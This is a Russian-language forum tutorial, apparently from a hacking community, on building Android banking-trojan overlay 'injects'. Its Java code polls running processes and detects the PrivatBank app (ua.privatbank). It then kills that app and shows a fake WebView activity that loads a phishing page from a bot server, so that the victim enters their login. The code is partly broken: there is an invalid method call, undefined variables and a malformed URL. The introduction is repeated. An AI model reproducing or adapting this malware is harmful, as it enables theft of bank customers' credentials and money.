Обещал как то написать статью по инжектам для андроида 6.0(API 23), так как не было времени, пришлось оттянуть обещание!
Язык java, среда разработки Android Studio
Начну сразу с того, что у нас уже созданный проект(к примеру по статье ), далее нам нужно создать service(назовём ServiceInjection),
который будет следить за процессами и activity(назовём ActivityInjection), которое будет являться наши фейком(где жертва будет вводить логи).
В манифест добавим
Рассмотрим service:
Пишем функцию которая нам возваращает имя процесса до версии 5.0
Функция для скана директории /proc/, где мы получим pid запущенного процесса(/proc/nnnn), я думаю тут уже все понятно как работают и инжекты от API 21 до API 23
И функция где мы по pid получим имя процесса
Пишем обработку слежения за процессами
Теперь осталось запустить функцию скана процессов и сделать activity
Аctivity
Но вообще есть еще множество способ получить имя процесса для инжектов!
Вот и все, будет время еще что нибудь напишу, если конечно кому интересно!
Язык java, среда разработки Android Studio

Начну сразу с того, что у нас уже созданный проект(к примеру по статье ), далее нам нужно создать service(назовём ServiceInjection),
который будет следить за процессами и activity(назовём ActivityInjection), которое будет являться наши фейком(где жертва будет вводить логи).
В манифест добавим
Код:
<uses-permission android:name="android.permission.GET_TASKS" />
Пишем функцию которая нам возваращает имя процесса до версии 5.0
Код:
public String getPackage() // получаем процессы до API 5.0
{
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.KITKAT) {
ActivityManager am = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE);
List<ActivityManager.RunningTaskInfo> taskInfo = am.getRunningTasks(1);
ComponentName componentInfo = taskInfo.get(0).topActivity;
return taskInfo.get(0).topActivity.getPackageName();
}
else
{
ActivityManager manager = (ActivityManager)this.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> tasks = manager.getRunningAppProcesses();
return tasks.get(0).processName;
}
}
Код:
//------5.1 и выше--------------------------------
protected static String readFile(String path) throws IOException {
BufferedReader reader = null;
try {
StringBuilder output = new StringBuilder();
reader = new BufferedReader(new FileReader(path));
for (String line = reader.readLine(), newLine = ""; line != null; line = reader.readLine()) {
output.append(newLine).append(line);
newLine = "\n";
}
return output.toString();
}
finally { if (reader != null) {try {reader.close();} catch (IOException ignored){}}}
}
Код:
static String getProcessName(int pid) throws IOException {
String cmdline = null;
try {cmdline = readFile(String.format("/proc/%d/cmdline", pid)).trim();} catch (IOException ignored) {}
return cmdline;
}
Код:
public void scanProcess(){
new Thread(new Runnable(){
public void run(){
if(Build.VERSION.SDK_INT <= Build.VERSION_CODES.LOLLIPOP_MR1)
{
for (int i = 0; i > -1; i++) //смотрим процессы до 5.0
{
String nameProcess = "ua.privatbank"; //имя процесса который нужно инжектить
String Process = getPackage(); //получаем активный процесс
if(Process.contains(nameProcess))//если наш процесс запущен, то убиваем этот процесс и запускаем activity
{
ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
am.killBackgroundProcesses(Process);
Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dialogIntent);
}
}
try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
}
else
{//Теперь пишем для 5.1 и выше
for (int i = 0; i > -1; i++)
{
String nameProcess = "ua.privatbank"; //имя процесса для инжекта
File directory = new File(directoryName);//Получаем список папок и файлов в директории /proc/
File[] fList = directory.listFiles();
for (File file : fList) {
if (file.isDirectory()) {
try {
String s = file.toString();
s = s.replace("/proc/", "");
String procNameProcess = getProcessName(Integer.parseInt(s));//выводим процессы
//если процесс запущен, то также убиваем этот процесс и запускаем activity
if (procNameProcess.contains(data_name_inj)) {
ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
am.killBackgroundProcesses(procNameProcess);
file.delete();
Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dialogIntent);
break;
}
} catch (Exception ex) {}
}
}
}
try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
}
stopSelf();
}
}).start();
}
Код:
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
scanProcess _act();
return flags;
}
Код:
public class ActivityInjection extends Activity {
@SuppressLint("SetJavaScriptEnabled")
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activityinjection);
}
@Override
protected void onStart() {
super.onStart();
WebView webView = (WebView) findViewById(R.id.webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.setWebChromeClient(new WebChromeClient());
webView.loadUrl(“https//androidBOT/injection/privatbank.php"));
}
}
Вот и все, будет время еще что нибудь напишу, если конечно кому интересно!